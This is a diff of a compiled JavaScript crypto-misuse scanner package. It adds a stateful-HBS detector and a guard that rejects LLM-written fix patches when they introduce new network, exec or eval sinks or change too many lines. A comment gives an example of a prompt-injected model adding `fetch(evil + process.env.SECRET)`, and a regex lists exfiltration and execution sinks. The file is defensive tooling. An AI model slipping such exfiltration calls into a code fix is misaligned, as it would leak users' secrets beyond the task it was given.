 import { rubyDetector } from "./detectors/ruby.js";
 import { cDetector } from "./detectors/c.js";
 import { pemDetector } from "./detectors/pem.js";
+import { statefulHbsDetector } from "./detectors/stateful-hbs.js";
 /** Normalised scope of a detector (defaults to "source" when undeclared). */
 export function detectorScope(d) {
     return d.scope ?? "source";
@@ -83,8 +84,8 @@ export class DetectorRegistry {
 /**
  * The built-in detectors, in run order: the JS/TS source + config detectors,
  * then the per-language detectors (Python, Go, Java, C#, Rust, Ruby, C/C++),
- * then the language-agnostic PEM detector. The manifest (dependency) scanner is
- * handled separately by `scan()`.
+ * then the language-agnostic PEM and stateful-HBS (SP 800-208) detectors. The
+ * manifest (dependency) scanner is handled separately by `scan()`.
  *
  * This is the single source of truth for the default detector set: both
  * {@link defaultRegistry} and the public `detectors` export (re-exported from
@@ -100,6 +101,7 @@ export const builtinDetectors = [
     rubyDetector,
     cDetector,
     pemDetector,
+    statefulHbsDetector,
 ];
 /**
  * The default registry, preloaded with {@link builtinDetectors}. Used by

package/dist/registry.js.map

@@ -1 +1 @@
-{"version":3,"file":"registry.js","sourceRoot":"","sources":["../src/registry.ts"],"names":[],"mappings":"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"}
+{"version":3,"file":"registry.js","sourceRoot":"","sources":["../src/registry.ts"],"names":[],"mappings":"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","sourcesContent":["/**\n * Detector registry — the plugin point for source/config detectors.\n *\n * Instead of `scan()` closing over a hardcoded array and inferring scope from\n * ruleId prefixes, detectors are registered with a declared `scope` and\n * `language` (see {@link Detector}). `scan()` consults a registry (the\n * {@link defaultRegistry} by default, or an explicit `detectors` override) and\n * honours the source/config toggles by each detector's declared scope.\n *\n * To add a language or detector, see the \"Adding a detector / language\" section\n * of the package README.\n */\nimport type { Detector, DetectorScope, RuleMeta } from \"./types.js\";\nimport { sourceDetectors } from \"./detectors/source.js\";\nimport { pythonDetector } from \"./detectors/python.js\";\nimport { goDetector } from \"./detectors/go.js\";\nimport { javaDetector } from \"./detectors/java.js\";\nimport { csharpDetector } from \"./detectors/csharp.js\";\nimport { rustDetector } from \"./detectors/rust.js\";\nimport { rubyDetector } from \"./detectors/ruby.js\";\nimport { cDetector } from \"./detectors/c.js\";\nimport { pemDetector } from \"./detectors/pem.js\";\nimport { statefulHbsDetector } from \"./detectors/stateful-hbs.js\";\n\n/** Normalised scope of a detector (defaults to \"source\" when undeclared). */\nexport function detectorScope(d: Detector): DetectorScope {\n  return d.scope ?? \"source\";\n}\n\n/** A rule plus the detector that emits it — the result of {@link DetectorRegistry.forRule}. */\nexport interface RuleCatalogEntry {\n  rule: RuleMeta;\n  detector: Detector;\n}\n\n/**\n * An ordered, id-indexed collection of detectors. Registration order is\n * preserved by {@link all} for deterministic scan output. Ids must be unique.\n */\nexport class DetectorRegistry {\n  private readonly byId = new Map<string, Detector>();\n  private readonly order: string[] = [];\n\n  /** Construct a registry, optionally seeded with an initial detector set. */\n  constructor(initial: readonly Detector[] = []) {\n    for (const d of initial) this.register(d);\n  }\n\n  /** Register a detector. Throws on a duplicate id. Returns `this` for chaining. */\n  register(d: Detector): this {\n    if (this.byId.has(d.id)) {\n      throw new Error(`duplicate detector id: ${d.id}`);\n    }\n    this.byId.set(d.id, d);\n    this.order.push(d.id);\n    return this;\n  }\n\n  /** Look up a detector by its id (exact, not prefix). */\n  get(id: string): Detector | undefined {\n    return this.byId.get(id);\n  }\n\n  /** True if a detector with this id is registered. */\n  has(id: string): boolean {\n    return this.byId.has(id);\n  }\n\n  /** All registered detectors, in registration order. */\n  all(): Detector[] {\n    return this.order.map((id) => this.byId.get(id)!);\n  }\n\n  /**\n   * The flattened rule catalog: every {@link RuleMeta} declared by every\n   * registered detector, in detector-registration then in-detector order. This\n   * is the single source of truth for rule metadata consumed by SARIF\n   * `rules[]`, the MCP `explain_finding` resolver, and per-rule enable/disable.\n   * Duplicate rule ids across detectors throw (ids are globally unique).\n   */\n  ruleCatalog(): RuleMeta[] {\n    const out: RuleMeta[] = [];\n    const seen = new Set<string>();\n    for (const det of this.all()) {\n      for (const rule of det.rules ?? []) {\n        if (seen.has(rule.id)) {\n          throw new Error(`duplicate rule id in catalog: ${rule.id}`);\n        }\n        seen.add(rule.id);\n        out.push(rule);\n      }\n    }\n    return out;\n  }\n\n  /** Resolve a rule id to its {@link RuleMeta} and the detector that emits it. */\n  forRule(ruleId: string): RuleCatalogEntry | undefined {\n    for (const det of this.all()) {\n      for (const rule of det.rules ?? []) {\n        if (rule.id === ruleId) return { rule, detector: det };\n      }\n    }\n    return undefined;\n  }\n\n  /** A shallow copy of this registry (useful to extend the defaults). */\n  clone(): DetectorRegistry {\n    return new DetectorRegistry(this.all());\n  }\n}\n\n/**\n * The built-in detectors, in run order: the JS/TS source + config detectors,\n * then the per-language detectors (Python, Go, Java, C#, Rust, Ruby, C/C++),\n * then the language-agnostic PEM and stateful-HBS (SP 800-208) detectors. The\n * manifest (dependency) scanner is handled separately by `scan()`.\n *\n * This is the single source of truth for the default detector set: both\n * {@link defaultRegistry} and the public `detectors` export (re-exported from\n * `scan.ts`) are built from it, so the two can never drift out of sync.\n */\nexport const builtinDetectors: Detector[] = [\n  ...sourceDetectors,\n  pythonDetector,\n  goDetector,\n  javaDetector,\n  csharpDetector,\n  rustDetector,\n  rubyDetector,\n  cDetector,\n  pemDetector,\n  statefulHbsDetector,\n];\n\n/**\n * The default registry, preloaded with {@link builtinDetectors}. Used by\n * `scan()` whenever `options.detectors` is not supplied.\n */\nexport const defaultRegistry = new DetectorRegistry(builtinDetectors);\n"]}

package/dist/remediate-pipeline.d.ts

@@ -33,6 +33,9 @@ export interface RemediateOptions {
     /** Which files a patch is allowed to touch. */
     policy: PolicyContext;
 }
+/** Max changed lines allowed in an auto-verified LLM patch — a real crypto fix
+ * is localized; a sprawling rewrite is not reviewable as "just the fix". */
+export declare const LLM_PATCH_MAX_CHANGED_LINES = 60;
 /**
  * Run each finding through patchSource → policy → verify, collecting the patches
  * that survive both gates and the reasons the rest were dropped.

package/dist/remediate-pipeline.d.ts.map

@@ -1 +1 @@
-{"version":3,"file":"remediate-pipeline.d.ts","sourceRoot":"","sources":["../src/remediate-pipeline.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;GAWG;AACH,OAAO,KAAK,EAAE,OAAO,EAAE,MAAM,YAAY,CAAC;AAC1C,OAAO,KAAK,EAAE,KAAK,EAAE,MAAM,kBAAkB,CAAC;AAE9C,OAAO,KAAK,EAAE,aAAa,EAAE,MAAM,mBAAmB,CAAC;AAGvD,MAAM,WAAW,aAAa;IAC5B,OAAO,EAAE,OAAO,CAAC;IACjB,KAAK,EAAE,KAAK,CAAC;CACd;AACD,MAAM,WAAW,aAAa;IAC5B,OAAO,EAAE,OAAO,CAAC;IACjB,MAAM,EAAE,MAAM,CAAC;CAChB;AACD,MAAM,WAAW,iBAAiB;IAChC,OAAO,EAAE,aAAa,EAAE,CAAC;IACzB,QAAQ,EAAE,aAAa,EAAE,CAAC;CAC3B;AAED,MAAM,WAAW,gBAAgB;IAC/B,sDAAsD;IACtD,WAAW,EAAE,CAAC,OAAO,EAAE,OAAO,KAAK,OAAO,CAAC,MAAM,CAAC,GAAG,MAAM,CAAC;IAC5D,yEAAyE;IACzE,WAAW,EAAE,CAAC,OAAO,EAAE,OAAO,EAAE,OAAO,EAAE,MAAM,KAAK,OAAO,CAAC,KAAK,GAAG,IAAI,CAAC,GAAG,KAAK,GAAG,IAAI,CAAC;IACzF,+CAA+C;IAC/C,MAAM,EAAE,aAAa,CAAC;CACvB;AASD;;;GAGG;AACH,wBAAsB,iBAAiB,CACrC,QAAQ,EAAE,SAAS,OAAO,EAAE,EAC5B,IAAI,EAAE,gBAAgB,GACrB,OAAO,CAAC,iBAAiB,CAAC,CA0B5B"}
+{"version":3,"file":"remediate-pipeline.d.ts","sourceRoot":"","sources":["../src/remediate-pipeline.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;GAWG;AACH,OAAO,KAAK,EAAE,OAAO,EAAE,MAAM,YAAY,CAAC;AAC1C,OAAO,KAAK,EAAE,KAAK,EAAE,MAAM,kBAAkB,CAAC;AAE9C,OAAO,KAAK,EAAE,aAAa,EAAE,MAAM,mBAAmB,CAAC;AAGvD,MAAM,WAAW,aAAa;IAC5B,OAAO,EAAE,OAAO,CAAC;IACjB,KAAK,EAAE,KAAK,CAAC;CACd;AACD,MAAM,WAAW,aAAa;IAC5B,OAAO,EAAE,OAAO,CAAC;IACjB,MAAM,EAAE,MAAM,CAAC;CAChB;AACD,MAAM,WAAW,iBAAiB;IAChC,OAAO,EAAE,aAAa,EAAE,CAAC;IACzB,QAAQ,EAAE,aAAa,EAAE,CAAC;CAC3B;AAED,MAAM,WAAW,gBAAgB;IAC/B,sDAAsD;IACtD,WAAW,EAAE,CAAC,OAAO,EAAE,OAAO,KAAK,OAAO,CAAC,MAAM,CAAC,GAAG,MAAM,CAAC;IAC5D,yEAAyE;IACzE,WAAW,EAAE,CAAC,OAAO,EAAE,OAAO,EAAE,OAAO,EAAE,MAAM,KAAK,OAAO,CAAC,KAAK,GAAG,IAAI,CAAC,GAAG,KAAK,GAAG,IAAI,CAAC;IACzF,+CAA+C;IAC/C,MAAM,EAAE,aAAa,CAAC;CACvB;AAmBD;4EAC4E;AAC5E,eAAO,MAAM,2BAA2B,KAAK,CAAC;AAkC9C;;;GAGG;AACH,wBAAsB,iBAAiB,CACrC,QAAQ,EAAE,SAAS,OAAO,EAAE,EAC5B,IAAI,EAAE,gBAAgB,GACrB,OAAO,CAAC,iBAAiB,CAAC,CAmC5B"}

package/dist/remediate-pipeline.js

@@ -6,6 +6,47 @@ function passesVerify(before, after, finding) {
     const noNewRuleTypes = after.every((x) => before.some((b) => b.ruleId === x.ruleId));
     return targetGone && noNewRuleTypes && after.length < before.length;
 }
+/**
+ * Exfiltration / RCE primitives an LLM "crypto fix" should never *newly*
+ * introduce. `verifyFix` only proves the crypto finding is gone — it is blind to
+ * the rest of a full-file rewrite, so an injected/hostile model could drop the
+ * RSA call and add `fetch(evil + process.env.SECRET)` and still pass. This guard
+ * runs ONLY on `source: "llm"` patches (codemods are deterministic + trusted).
+ */
+const NEW_SINK_RE = /\b(?:fetch|XMLHttpRequest|WebSocket|navigator\.sendBeacon|child_process|execSync|execFileSync|spawnSync|exec(?:File)?\s*\(|spawn\s*\(|eval\s*\(|new\s+Function|os\.system|subprocess|Runtime\.getRuntime|require\s*\(\s*['"](?:child_process|http|https|net|dns|dgram)['"]|import\s*\(\s*['"](?:child_process|http|https|net|dns|dgram)['"])/g;
+/** Max changed lines allowed in an auto-verified LLM patch — a real crypto fix
+ * is localized; a sprawling rewrite is not reviewable as "just the fix". */
+export const LLM_PATCH_MAX_CHANGED_LINES = 60;
+function countMatches(re, s) {
+    return (s.match(re) ?? []).length;
+}
+/** Changed lines (removed + added) between two revisions, ignoring the shared
+ * prefix/suffix — same shape the CLI's unified-diff uses. */
+function changedLineCount(before, after) {
+    const a = before.split("\n");
+    const b = after.split("\n");
+    let start = 0;
+    while (start < a.length && start < b.length && a[start] === b[start])
+        start++;
+    let endA = a.length - 1;
+    let endB = b.length - 1;
+    while (endA >= start && endB >= start && a[endA] === b[endB]) {
+        endA--;
+        endB--;
+    }
+    return Math.max(0, endA - start + 1) + Math.max(0, endB - start + 1);
+}
+/** Reason an LLM patch is unsafe to auto-verify, or null when it is bounded. */
+function llmPatchRisk(before, patch) {
+    if (countMatches(NEW_SINK_RE, patch.newContent) > countMatches(NEW_SINK_RE, before)) {
+        return "LLM patch introduces a new network/exec/eval sink (possible prompt-injection); rejected — review the diff manually";
+    }
+    const changed = changedLineCount(before, patch.newContent);
+    if (changed > LLM_PATCH_MAX_CHANGED_LINES) {
+        return `LLM patch changes ${changed} lines (> ${LLM_PATCH_MAX_CHANGED_LINES}); too broad to auto-verify — review the diff manually`;
+    }
+    return null;
+}
 /**
  * Run each finding through patchSource → policy → verify, collecting the patches
  * that survive both gates and the reasons the rest were dropped.
@@ -25,6 +66,15 @@ export async function remediateFindings(findings, opts) {
             rejected.push({ finding, reason: decision.reason ?? "rejected by patch policy" });
             continue;
         }
+        // Untrusted full-file LLM rewrites get a blast-radius gate the crypto-only
+        // verify step can't provide (new-sink + change-size bound).
+        if (patch.source === "llm") {
+            const risk = llmPatchRisk(content, patch);
+            if (risk) {
+                rejected.push({ finding, reason: risk });
+                continue;
+            }
+        }
         const before = verifyFix(content, { filename: finding.location.file }).findings;
         const after = verifyFix(patch.newContent, { filename: patch.path }).findings;
         if (!passesVerify(before, after, finding)) {

package/dist/remediate-pipeline.js.map

@@ -1 +1 @@
-{"version":3,"file":"remediate-pipeline.js","sourceRoot":"","sources":["../src/remediate-pipeline.ts"],"names":[],"mappings":"AAcA,OAAO,EAAE,gBAAgB,EAAE,MAAM,mBAAmB,CAAC;AAErD,OAAO,EAAE,SAAS,EAAE,MAAM,aAAa,CAAC;AAwBxC,6EAA6E;AAC7E,SAAS,YAAY,CAAC,MAAiB,EAAE,KAAgB,EAAE,OAAgB;IACzE,MAAM,UAAU,GAAG,CAAC,KAAK,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,MAAM,KAAK,OAAO,CAAC,MAAM,CAAC,CAAC;IACnE,MAAM,cAAc,GAAG,KAAK,CAAC,KAAK,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,MAAM,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,MAAM,KAAK,CAAC,CAAC,MAAM,CAAC,CAAC,CAAC;IACrF,OAAO,UAAU,IAAI,cAAc,IAAI,KAAK,CAAC,MAAM,GAAG,MAAM,CAAC,MAAM,CAAC;AACtE,CAAC;AAED;;;GAGG;AACH,MAAM,CAAC,KAAK,UAAU,iBAAiB,CACrC,QAA4B,EAC5B,IAAsB;IAEtB,MAAM,OAAO,GAAoB,EAAE,CAAC;IACpC,MAAM,QAAQ,GAAoB,EAAE,CAAC;IAErC,KAAK,MAAM,OAAO,IAAI,QAAQ,EAAE,CAAC;QAC/B,MAAM,OAAO,GAAG,MAAM,IAAI,CAAC,WAAW,CAAC,OAAO,CAAC,CAAC;QAChD,MAAM,KAAK,GAAG,MAAM,IAAI,CAAC,WAAW,CAAC,OAAO,EAAE,OAAO,CAAC,CAAC;QACvD,IAAI,CAAC,KAAK,EAAE,CAAC;YACX,QAAQ,CAAC,IAAI,CAAC,EAAE,OAAO,EAAE,MAAM,EAAE,gCAAgC,EAAE,CAAC,CAAC;YACrE,SAAS;QACX,CAAC;QACD,MAAM,QAAQ,GAAG,gBAAgB,CAAC,KAAK,EAAE,IAAI,CAAC,MAAM,CAAC,CAAC;QACtD,IAAI,CAAC,QAAQ,CAAC,OAAO,EAAE,CAAC;YACtB,QAAQ,CAAC,IAAI,CAAC,EAAE,OAAO,EAAE,MAAM,EAAE,QAAQ,CAAC,MAAM,IAAI,0BAA0B,EAAE,CAAC,CAAC;YAClF,SAAS;QACX,CAAC;QACD,MAAM,MAAM,GAAG,SAAS,CAAC,OAAO,EAAE,EAAE,QAAQ,EAAE,OAAO,CAAC,QAAQ,CAAC,IAAI,EAAE,CAAC,CAAC,QAAQ,CAAC;QAChF,MAAM,KAAK,GAAG,SAAS,CAAC,KAAK,CAAC,UAAU,EAAE,EAAE,QAAQ,EAAE,KAAK,CAAC,IAAI,EAAE,CAAC,CAAC,QAAQ,CAAC;QAC7E,IAAI,CAAC,YAAY,CAAC,MAAM,EAAE,KAAK,EAAE,OAAO,CAAC,EAAE,CAAC;YAC1C,QAAQ,CAAC,IAAI,CAAC,EAAE,OAAO,EAAE,MAAM,EAAE,wCAAwC,EAAE,CAAC,CAAC;YAC7E,SAAS;QACX,CAAC;QACD,OAAO,CAAC,IAAI,CAAC,EAAE,OAAO,EAAE,KAAK,EAAE,CAAC,CAAC;IACnC,CAAC;IAED,OAAO,EAAE,OAAO,EAAE,QAAQ,EAAE,CAAC;AAC/B,CAAC"}
+{"version":3,"file":"remediate-pipeline.js","sourceRoot":"","sources":["../src/remediate-pipeline.ts"],"names":[],"mappings":"AAcA,OAAO,EAAE,gBAAgB,EAAE,MAAM,mBAAmB,CAAC;AAErD,OAAO,EAAE,SAAS,EAAE,MAAM,aAAa,CAAC;AAwBxC,6EAA6E;AAC7E,SAAS,YAAY,CAAC,MAAiB,EAAE,KAAgB,EAAE,OAAgB;IACzE,MAAM,UAAU,GAAG,CAAC,KAAK,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,MAAM,KAAK,OAAO,CAAC,MAAM,CAAC,CAAC;IACnE,MAAM,cAAc,GAAG,KAAK,CAAC,KAAK,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,MAAM,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,MAAM,KAAK,CAAC,CAAC,MAAM,CAAC,CAAC,CAAC;IACrF,OAAO,UAAU,IAAI,cAAc,IAAI,KAAK,CAAC,MAAM,GAAG,MAAM,CAAC,MAAM,CAAC;AACtE,CAAC;AAED;;;;;;GAMG;AACH,MAAM,WAAW,GACf,+UAA+U,CAAC;AAElV;4EAC4E;AAC5E,MAAM,CAAC,MAAM,2BAA2B,GAAG,EAAE,CAAC;AAE9C,SAAS,YAAY,CAAC,EAAU,EAAE,CAAS;IACzC,OAAO,CAAC,CAAC,CAAC,KAAK,CAAC,EAAE,CAAC,IAAI,EAAE,CAAC,CAAC,MAAM,CAAC;AACpC,CAAC;AAED;6DAC6D;AAC7D,SAAS,gBAAgB,CAAC,MAAc,EAAE,KAAa;IACrD,MAAM,CAAC,GAAG,MAAM,CAAC,KAAK,CAAC,IAAI,CAAC,CAAC;IAC7B,MAAM,CAAC,GAAG,KAAK,CAAC,KAAK,CAAC,IAAI,CAAC,CAAC;IAC5B,IAAI,KAAK,GAAG,CAAC,CAAC;IACd,OAAO,KAAK,GAAG,CAAC,CAAC,MAAM,IAAI,KAAK,GAAG,CAAC,CAAC,MAAM,IAAI,CAAC,CAAC,KAAK,CAAC,KAAK,CAAC,CAAC,KAAK,CAAC;QAAE,KAAK,EAAE,CAAC;IAC9E,IAAI,IAAI,GAAG,CAAC,CAAC,MAAM,GAAG,CAAC,CAAC;IACxB,IAAI,IAAI,GAAG,CAAC,CAAC,MAAM,GAAG,CAAC,CAAC;IACxB,OAAO,IAAI,IAAI,KAAK,IAAI,IAAI,IAAI,KAAK,IAAI,CAAC,CAAC,IAAI,CAAC,KAAK,CAAC,CAAC,IAAI,CAAC,EAAE,CAAC;QAC7D,IAAI,EAAE,CAAC;QACP,IAAI,EAAE,CAAC;IACT,CAAC;IACD,OAAO,IAAI,CAAC,GAAG,CAAC,CAAC,EAAE,IAAI,GAAG,KAAK,GAAG,CAAC,CAAC,GAAG,IAAI,CAAC,GAAG,CAAC,CAAC,EAAE,IAAI,GAAG,KAAK,GAAG,CAAC,CAAC,CAAC;AACvE,CAAC;AAED,gFAAgF;AAChF,SAAS,YAAY,CAAC,MAAc,EAAE,KAAY;IAChD,IAAI,YAAY,CAAC,WAAW,EAAE,KAAK,CAAC,UAAU,CAAC,GAAG,YAAY,CAAC,WAAW,EAAE,MAAM,CAAC,EAAE,CAAC;QACpF,OAAO,oHAAoH,CAAC;IAC9H,CAAC;IACD,MAAM,OAAO,GAAG,gBAAgB,CAAC,MAAM,EAAE,KAAK,CAAC,UAAU,CAAC,CAAC;IAC3D,IAAI,OAAO,GAAG,2BAA2B,EAAE,CAAC;QAC1C,OAAO,qBAAqB,OAAO,aAAa,2BAA2B,wDAAwD,CAAC;IACtI,CAAC;IACD,OAAO,IAAI,CAAC;AACd,CAAC;AAED;;;GAGG;AACH,MAAM,CAAC,KAAK,UAAU,iBAAiB,CACrC,QAA4B,EAC5B,IAAsB;IAEtB,MAAM,OAAO,GAAoB,EAAE,CAAC;IACpC,MAAM,QAAQ,GAAoB,EAAE,CAAC;IAErC,KAAK,MAAM,O